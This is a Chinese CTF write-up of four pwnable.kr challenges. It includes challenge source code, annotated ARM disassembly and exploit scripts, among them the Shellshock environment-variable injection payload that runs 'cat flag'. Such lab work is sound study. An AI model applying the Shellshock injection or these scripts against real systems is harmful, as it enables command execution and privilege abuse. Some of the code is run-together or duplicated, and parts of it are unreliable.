pwnable.kr (三) 7-10
0x01 input:
这题信息量有点大,主要是对各种输入的考查。这里有些也不懂orz
source code:
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <arpa/inet.h> int main(int argc, char* argv[], char* envp[]){ printf("Welcome to pwnable.kr\n"); printf("Let's see if you know how to give input to program\n"); printf("Just give me correct inputs then you will get the flag :)\n"); // argv if(argc != 100) return 0; if(strcmp(argv['A'],"\x00")) return 0; if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0; printf("Stage 1 clear!\n"); // stdio char buf[4]; read(0, buf, 4); if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0; read(2, buf, 4); if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0; printf("Stage 2 clear!\n"); // env if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0; printf("Stage 3 clear!\n"); // file FILE* fp = fopen("\x0a", "r"); if(!fp) return 0; if( fread(buf, 4, 1, fp)!=1 ) return 0; if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0; fclose(fp); printf("Stage 4 clear!\n"); // network int sd, cd; struct sockaddr_in saddr, caddr; sd = socket(AF_INET, SOCK_STREAM, 0); if(sd == -1){ printf("socket error, tell admin\n"); return 0; } saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = INADDR_ANY; saddr.sin_port = htons( atoi(argv['C']) ); if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){ printf("bind error, use another port\n"); return 1; } listen(sd, 1); int c = sizeof(struct sockaddr_in); cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c); if(cd < 0){ printf("accept error, tell admin\n"); return 0; } if( recv(cd, buf, 4, 0) != 4 ) return 0; if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0; printf("Stage 5 clear!\n"); // here's your flag system("/bin/cat flag"); return 0; }#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <arpa/inet.h> int main(int argc, char* argv[], char* envp[]){ printf("Welcome to pwnable.kr\n"); printf("Let's see if you know how to give input to program\n"); printf("Just give me correct inputs then you will get the flag :)\n"); // argv if(argc != 100) return 0; if(strcmp(argv['A'],"\x00")) return 0; if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0; printf("Stage 1 clear!\n"); // stdio char buf[4]; read(0, buf, 4); if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0; read(2, buf, 4); if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0; printf("Stage 2 clear!\n"); // env if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0; printf("Stage 3 clear!\n"); // file FILE* fp = fopen("\x0a", "r"); if(!fp) return 0; if( fread(buf, 4, 1, fp)!=1 ) return 0; if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0; fclose(fp); printf("Stage 4 clear!\n"); // network int sd, cd; struct sockaddr_in saddr, caddr; sd = socket(AF_INET, SOCK_STREAM, 0); if(sd == -1){ printf("socket error, tell admin\n"); return 0; } saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = INADDR_ANY; saddr.sin_port = htons( atoi(argv['C']) ); if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){ printf("bind error, use another port\n"); return 1; } listen(sd, 1); int c = sizeof(struct sockaddr_in); cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c); if(cd < 0){ printf("accept error, tell admin\n"); return 0; } if( recv(cd, buf, 4, 0) != 4 ) return 0; if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0; printf("Stage 5 clear!\n"); // here's your flag system("/bin/cat flag"); return 0; }
Full exploit code:
//source address:blog.csdn.net/smalosnail/article/details/53048109 import * import os import socket import timestdinr, stdinw = os.pipe() stderrr, stderrw = os.pipe()# stage1 arg args = list("A" * 99) args[ord('A') - 1] = "" args[ord('B') - 1] = "\x20\x0a\x0d" args[ord('C') - 1] = "8888"#stage2 std io os.write(stdinw, "\x00\x0a\x00\xff") os.write(stderrw, "\x00\x0a\x02\xff")#stage3 env environ = {"\xde\xad\xbe\xef":"\xca\xfe\xba\xbe"}#satge4 file o f = open("\x0a", "wb") f.write("\x00"*4) f.close()#satge5 network io s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)proc = Popen(["/home/input2/input"] + args, stdin=stdinr, stderr=stderrr, env=environ)time.sleep(2) s.connect(("127.0.0.1", 8888)) s.send("\xde\xad\xbe\xef") s.close()
因为本题存在套接字需要将脚本上传至服务器:
用户权限:
如何将脚本放入服务器。
在home目录下用户没有w权限,因此要找别的路径。
发现在tmp目录下访客可以进行w,上传脚本。

但是并没卵用。。。没有r的权限。

因此在tmp目录创建文件夹,将脚本放入新建文件夹。

mark:套接字部分还不太懂,回头再看。
0x02 leg:
source code:
leg.c
#include <stdio.h> #include <fcntl.h> int key1(){ asm("mov r3, pc\n");#这是内嵌汇编,就是说C源程序中插入 mov r3, pc\n 这条汇编指令。 } int key2(){ asm( "push {r6}\n" "add r6, pc, $1\n" "bx r6\n" ".code 16\n" "mov r3, pc\n" "add r3, $0x4\n" "push {r3}\n" "pop {pc}\n" ".code 32\n" "pop {r6}\n" ); } int key3(){ asm("mov r3, lr\n"); } int main(){ int key=0; printf("Daddy has very strong arm! : "); if( (key1()+key2()+key3()) == key ){ printf("Congratz!\n"); int fd = open("flag", O_RDONLY); char buf[100]; int r = read(fd, buf, 100); write(0, buf, r); } else{ printf("I have strong leg :P\n"); } return 0; }
leg.asm
(gdb) disass main Dump of assembler code for function main: 0x00008d3c <+0>: push {r4, r11, lr} 0x00008d40 <+4>: add r11, sp, #8 0x00008d44 <+8>: sub sp, sp, #12 0x00008d48 <+12>: mov r3, #0 0x00008d4c <+16>: str r3, [r11, #-16] 0x00008d50 <+20>: ldr r0, [pc, #104] ; 0x8dc0 <main+132> 0x00008d54 <+24>: bl 0xfb6c <printf> #调用printf函数 0x00008d58 <+28>: sub r3, r11, #16 0x00008d5c <+32>: ldr r0, [pc, #96] ; 0x8dc4 <main+136> 0x00008d60 <+36>: mov r1, r3 0x00008d64 <+40>: bl 0xfbd8 <__isoc99_scanf> #调用__isoc99_scanf函数 0x00008d68 <+44>: bl 0x8cd4 <key1> #调用key1函数 0x00008d6c <+48>: mov r4, r0 #r0=0x8ce4 0x00008d70 <+52>: bl 0x8cf0 <key2> #调用key2函数 0x00008d74 <+56>: mov r3, r0 #r0=0x8d0c 0x00008d78 <+60>: add r4, r4, r3 0x00008d7c <+64>: bl 0x8d20 <key3> #调用key3函数 0x00008d80 <+68>: mov r3, r0 #r0=lr=0x8d80 0x00008d84 <+72>: add r2, r4, r3 #key1()+key2()+key3() 0x00008d88 <+76>: ldr r3, [r11, #-16] #scanf("%d", &key); 0x00008d8c <+80>: cmp r2, r3 #if 0x00008d90 <+84>: bne 0x8da8 <main+108> 0x00008d94 <+88>: ldr r0, [pc, #44] ; 0x8dc8 <main+140> 0x00008d98 <+92>: bl 0x1050c <puts> #printf("I have strong leg :P\n"); 0x00008d9c <+96>: ldr r0, [pc, #40] ; 0x8dcc <main+144> 0x00008da0 <+100>: bl 0xf89c <system> 0x00008da4 <+104>: b 0x8db0 <main+116> 0x00008da8 <+108>: ldr r0, [pc, #32] ; 0x8dd0 <main+148> 0x00008dac <+112>: bl 0x1050c <puts> #printf("Congratz!\n"); 0x00008db0 <+116>: mov r3, #0 0x00008db4 <+120>: mov r0, r3 0x00008db8 <+124>: sub sp, r11, #8 0x00008dbc <+128>: pop {r4, r11, pc} 0x00008dc0 <+132>: andeq r10, r6, r12, lsl #9 0x00008dc4 <+136>: andeq r10, r6, r12, lsr #9 0x00008dc8 <+140>: ; <UNDEFINED> instruction: 0x0006a4b0 0x00008dcc <+144>: ; <UNDEFINED> instruction: 0x0006a4bc 0x00008dd0 <+148>: andeq r10, r6, r4, asr #9 End of assembler dump. (gdb) disass key1 Dump of assembler code for function key1: 0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cd8 <+4>: add r11, sp, #0 0x00008cdc <+8>: mov r3, pc #插入的内嵌汇编//r3 = pc 0x00008ce0 <+12>: mov r0, r3 #r0=r3//r0=r3=pc//arm中程序计数器pc指向下两条指令的地址//r0 = pc = 0x8cdc + 0x8 0x00008ce4 <+16>: sub sp, r11, #0 #sp=sp-r11 0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4) #r11出栈 0x00008cec <+24>: bx lr End of assembler dump. (gdb) disass key2 Dump of assembler code for function key2: 0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cf4 <+4>: add r11, sp, #0 0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!) 0x00008cfc <+12>: add r6, pc, #1 #r6=r6+pc+1 0x00008d00 <+16>: bx r6 0x00008d04 <+20>: mov r3, pc #r3=pc 0x00008d06 <+22>: adds r3, #4 #CPSR=r3+4//此处不对r3的值进行修改//CPSR:程序状态寄存器 0x00008d08 <+24>: push {r3} 0x00008d0a <+26>: pop {pc} 0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4) 0x00008d10 <+32>: mov r0, r3 #r0=r3//r0=pc=0x8d04+0x8 0x00008d14 <+36>: sub sp, r11, #0 #sp=sp-r11 0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4) 0x00008d1c <+44>: bx lr End of assembler dump. (gdb) disass key3 Dump of assembler code for function key3: 0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008d24 <+4>: add r11, sp, #0 0x00008d28 <+8>: mov r3, lr #r3=lr//lr连接寄存器,当程序通过BL或BLX指令调用子程序时,R14被设置成该子程序的返回地址 0x00008d2c <+12>: mov r0, r3 #r0=r3=lr 0x00008d30 <+16>: sub sp, r11, #0 #sp=sp-r11 0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008d38 <+24>: bx lr End of assembler dump. (gdb)
具体分析都在文件里了。
key=r0(key1)+r0(key2)+r0(key3)=108400d

0x03 mistake:
source code:
#include <stdio.h> #include <fcntl.h> #define PW_LEN 10 #define XORKEY 1 void xor(char* s, int len){ int i; for(i=0; i<len; i++){ s[i] ^= XORKEY; //与1进行异或操作 } } int main(int argc, char* argv[]){ int fd; if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){ //运算符优先级<大于= //如果open()成功打开文件,将返回一个正整数,这个数小于0必然不成立,所以这个判断语句返回的结果是False也就是0,之后再执行赋值语句 //fd = 0 printf("can't open password %d\n", fd); return 0; } printf("do not bruteforce...\n"); sleep(time(0)%20); char pw_buf[PW_LEN+1]; int len; if(!(len=read(fd,pw_buf,PW_LEN) > 0)){ printf("read error\n"); close(fd); return 0; } char pw_buf2[PW_LEN+1]; printf("input password : "); scanf("%10s", pw_buf2); // xor your input xor(pw_buf2, 10) ; if(!strncmp(pw_buf, pw_buf2, PW_LEN)){ printf("Password OK\n"); system("/bin/cat flag\n"); } else{ printf("Wrong Password\n"); } close(fd); return 0; }
full exploit code:
from pwn import * from time import sleep s = ssh(host='pwnable.kr', user='mistake', password='guest', port=2222 ) p =s.process('./mistake') pw_buf ='A'*10 pw_buf2 = "" for x in pw_buf: pw_buf2 += chr(ord(x)^1) p.sendline(pw_buf) sleep(20) p.read() p.sendline(pw_buf2) p.interactive()
0x04 Shellshock:

Shellshock当时不知道什么东西,百度一下。

看来是个漏洞,去乌云知识库看看。
CVE-2014-6271漏洞:
http://cb.drops.wiki/drops/papers-3268.html《Shellshock漏洞回顾与分析测试》:
大概的漏洞说明如下图:

漏洞信息最早来源于国外知名漏洞网站exploit-db下的第34765篇漏洞报告,其中出现了一条验证命令:
env a='() { :;}; echo vulnerable' bash -c "echo this is a test"
当linux或Unix系统的bash的版本小于4.3时在本地可以得到输出:Vulnerable this is a test
即此处echo vulnerable可执行任意代码
此处env val=' () { :;};为执行环境
(bash在处理含有函数定义诸如"() { :; }"的环境变量赋值的代码上存在设计缺陷,错误地将函数定义后面的字符串作为命令执行)
source code:
#include <stdio.h> int main(){ setresuid(getegid(), getegid(), getegid()); setresgid(getegid(), getegid(), getegid()); system("/home/shellshock/bash -c 'echo shock_me'"); return 0; }
用户权限:

在源代码中的:system("/home/shellshock/bash -c 'echo shock_me'");
调用可bash文件用户的权限从shellshock_pwn提升到shellshock可以执行cat flag命令
full exploit code:
$ env a='() { :;}; bash -c "cat flag"' ./shellshock


浙公网安备 33010602011771号